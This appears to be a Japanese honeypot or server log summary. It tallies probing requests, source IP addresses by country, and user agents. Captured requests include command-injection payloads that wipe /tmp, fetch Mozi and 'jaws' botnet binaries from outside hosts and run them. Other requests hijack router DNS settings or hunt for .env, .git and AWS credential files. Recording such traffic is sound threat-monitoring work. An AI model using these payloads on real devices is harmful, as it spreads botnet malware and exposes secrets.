2	GET	`/favicon.ico`	HTTP/1.1
1	GET	`/phpMyAdmin2/scripts/setup.php`	HTTP/1.1
1	GET	`/phpmyadmin/index.php`	HTTP/1.1
1	GET	`/robots.txt`	HTTP/1.1
3	GET	`/shell?cd+/tmp;rm+-rf+*;wget+botnet[.]psscc[.]cn/jaws;sh+/tmp/jaws`	HTTP/1.1
12	GET	`http[:]//132[.]145[.]66[.]34:80/db/scripts/setup.php`	HTTP/1.0
12	GET	`http[:]//132[.]145[.]66[.]34:80/mysql/scripts/setup.php`	HTTP/1.0
11	GET	`http[:]//132[.]145[.]66[.]34:80/phpMyAdmin/scripts/setup.php`	HTTP/1.0
13	GET	`http[:]//132[.]145[.]66[.]34:80/pma/scripts/setup.php`	HTTP/1.0
1	GET	`http[:]//5[.]188[.]210[.]227/echo.php`	HTTP/1.1
2	GET	`http[:]//fuwu[.]sogou[.]com/404/index.html`	HTTP/1.1
1	HEAD	`/robots.txt`	HTTP/1.0
4	POST	`/boaform/admin/formLogin`	HTTP/1.1
6	POST	`/debug.cgi`	HTTP/1.1

Location:SG

送信元IPアドレス一覧

件数	送信元IPアドレス	国
1	20.119.101.185	United States
1	36.110.214.194	China
1	41.36.250.15	Egypt
2	41.239.6.219	Egypt
3	43.135.86.160	Singapore
21	54.37.79.75	France
3	106.75.70.97	China
2	109.237.103.123	Russia
1	117.216.7.59	India
1	118.193.58.114	Hong Kong
1	129.232.191.10	South Africa
2	152.89.196.62	Russia
2	162.142.125.10	United States
1	162.220.165.123	United States
1	172.104.242.173	United States
1	175.107.0.211	Pakistan
9	178.128.57.86	United States
3	185.216.71.180	Bulgaria
1	185.216.71.181	Bulgaria
1	185.216.71.242	Bulgaria
8	185.254.196.223	Ukraine
1	194.26.228.174	Russia
20	195.133.40.157	Czechia
1	198.98.59.132	United States
1	205.210.31.9	United States
1	205.210.31.44	United States
2	222.186.19.235	China

UserAgent一覧

件数	UserAgent
9	`-`
1	`Go-http-client/1.1`
3	`Hello, world`
20	`Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30`
3	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/604.4.7 (KHTML, like Gecko) Version/11.0.2 Safari/604.4.7`
3	`Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3464.0 Safari/537.36`
2	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML like Gecko) Chrome/44.0.2403.155 Safari/537.36`
1	`Mozilla/5.0 (Windows; U; Windows NT 6.0; de) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.27 Safari/525.13`
31	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36`
1	`Mozilla/5.0 (X11; Linux x86_64; rv:103.0) Gecko/20100101 Firefox/103.0 X-Middleton/1`
2	`Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0`
9	`Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36`
1	`curl/7.29.0`
5	`python-requests/2.21.0`

リクエスト内容一覧

件数	Method	Request	Protocol
1		`\x16\x03\x01\x01D\x01`
3		`\x16\x03\x01`
1		`\xba\xabd\xa1EZC\xdbM\x87\xee^\xfd\xbf\x159`	X\xd4>\x12\x98\xc4<\xe0\x13\xcf
1	GET	`/.aws/credentials`	HTTP/1.1
1	GET	`/.env.bak`	HTTP/1.1
35	GET	`/.env`	HTTP/1.1
4	GET	`/.git/config`	HTTP/1.1
1	GET	`/?XDEBUG_SESSION_START=phpstorm`	HTTP/1.1
5	GET	`/_profiler/phpinfo`	HTTP/1.1
1	GET	`/actuator/gateway/routes`	HTTP/1.1
1	GET	`/admin/config.php`	HTTP/1.1
1	GET	`/aws.yml`	HTTP/1.1
1	GET	`/boaform/admin/formLogin?username=user&psd=user`	HTTP/1.0
1	GET	`/config.js`	HTTP/1.1
4	GET	`/config.json`	HTTP/1.1
1	GET	`/config/aws.yml`	HTTP/1.1
4	GET	`/debug/default/view?panel=config`	HTTP/1.1
2	GET	`/favicon.ico`	HTTP/1.1
1	GET	`/info.php`	HTTP/1.1
1	GET	`/mysql/scripts/setup.php`	HTTP/1.1
1	GET	`/phpinfo.php`	HTTP/1.1
1	GET	`/phpinfo`	HTTP/1.1
1	GET	`/phpmyadmin/index.php`	HTTP/1.1
1	GET	`/phpmyadmin4.8.5/index.php`	HTTP/1.1
1	GET	`/pmd/index.php`	HTTP/1.1
1	GET	`/robots.txt`	HTTP/1.1
1	GET	`/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http[:]//117[.]216[.]7[.]59:43564/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1`	HTTP/1.0
3	GET	`/shell?cd+/tmp;rm+-rf+*;wget+botnet[.]psscc[.]cn/jaws;sh+/tmp/jaws`	HTTP/1.1
1	GET	`/sitemap.xml`	HTTP/1.1
2	GET	`http[:]//fuwu[.]sogou[.]com/404/index.html`	HTTP/1.1
2	POST	`/boaform/admin/formLogin`	HTTP/1.1
5	POST	`/debug.cgi`	HTTP/1.1
1	POST	`/dnscfg.cgi?dnsPrimary=128.0.104.18&dnsSecondary=128.0.104.18&dnsDynamic=0&dnsRefresh=1&dnsIfcsList=`	HTTP/1.1
1	PRI	`*`	HTTP/2.0